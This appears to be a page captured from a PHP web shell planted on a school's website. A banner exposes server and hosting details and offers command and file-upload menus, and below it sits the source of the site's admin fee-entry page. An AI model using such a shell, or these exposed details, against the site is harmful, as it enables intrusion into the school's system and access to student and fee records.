|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/hj/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?php include("../link/admin_headconnection.php");
include("../link/databaseconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<style>
.work
{
min-height:200px;
}
.gap
{
height:100px;
}
</style>
<script>
function editrow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_fees.php?flag=9&id="+id);
}
function feesrow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=9&id="+id);
}
//===message==//
function messagerow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=7&id="+id);
}
$(document).ready(function(){
$("#fees").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/student_fees.php?flag=2",
type:"POST",
data: new FormData(this),
contentType:false,
processData:false,
success:function(res){
alert(res);
$("#fees").trigger("reset");
$("#show").load("../code/student_fees.php?flag=5");
},
error:function(){
alert("error");
}
});
});
});
//== message==///
function deleterow(id)
{
//alert(id);
var a=confirm("Are you Sure");
if(a==true)
{
$.ajax({
url:"../code/student_fees.php?flag=6",
type:"POST",
data:{rowid:id},
success:function(res){
alert(res);
//$("#modal").html(res);
$("#show").load("../code/student_fees.php?flag=5");
},
error:function(){
alert("error");
}
});
}
}
$(document).ready(function(){
$("#show").load("../code/student_fees.php?flag=5");
});
function updaterow(form)
{
$.ajax({
url:"../code/student_fees.php?flag=10",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
cache:false,
success:function(res){
alert(res);
if(res=="Update")
{
$("#editmodel12").modal("hide");
$("#show").load("../code/student_fees.php?flag=5");
}
},
error:function(){
alert("error");
}
});
return false;
}
function result(id)
{
$("#editmodel").modal("show");
$("#editbody").load("../code/student_detailscode.php?flag=5&id="+id);
}
function data(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=6",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
alert(res);
if(res=="ok")
{
$("#editmodel").modal("hide");
}
},
error:function(){
alert("error");
}
});
return false;
}
function feesdata(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=10",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
alert(res);
$("#editmodel12").modal("hide");
},
error:function(){
alert("error");
}
});
return false;
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<?php include("../link/admin_dashboardmenu .php");?>
</div>
<div class="row">
<div class="col-sm-2">
<?php include("../link/fess.php");?>
</div>
<div class="col-sm-10">
<!--menu--close-->
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-body">
<form class="form-horizontal" id="fees" >
<div class="col-sm-6">
<div class="form-group">
<label class="col-sm-3 control-label">Session <span style="color:red">*</span></label>
<div class="col-sm-7">
<select class="form-control" name="session" required>
<option value="">---select---</option>
<option>2018-2019</option>
<option>2019-2020</option>
<option>2020-2021</option>
<option>2021-2022</option>
</select>
</div>
</div>
<div class="form-group">
<div class="form-group">
<label class="col-sm-3 control-label">Village-</label>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="Village" name="vill" required>
</div>
</div>
</div>
<!------ phli finish row-->
</div>
<!------ dusri row-->
<div class="col-sm-6">
<div class="form-group">
<div class="form-group">
<label class="col-sm-3 control-label">Conv Charge-</label>
<div class="col-sm-7">
<input type="number" class="form-control" placeholder="Conv Charge" name="conv" required>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Code-</label>
<div class="col-sm-7">
<input type="number" class="form-control" placeholder="Code" name="code" required>
</div>
</div>
</div>
<!------ dusari finish row-->
<br/>
<div class="form-group">
<div class="col-sm-5">
<br/>
<center><button class="btn btn-primary">Submit</button>
</center>
</div>
</form>
</div>
</div>
</div>
<div id="show"></div>
</div>
</form>
</div>
</div>
</div>
<!-- modal for result-->
<div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel12">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> UPDATE CONV</h2> </center>
</div>
<div class="modal-body" id="editbody12">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
</body>
</html>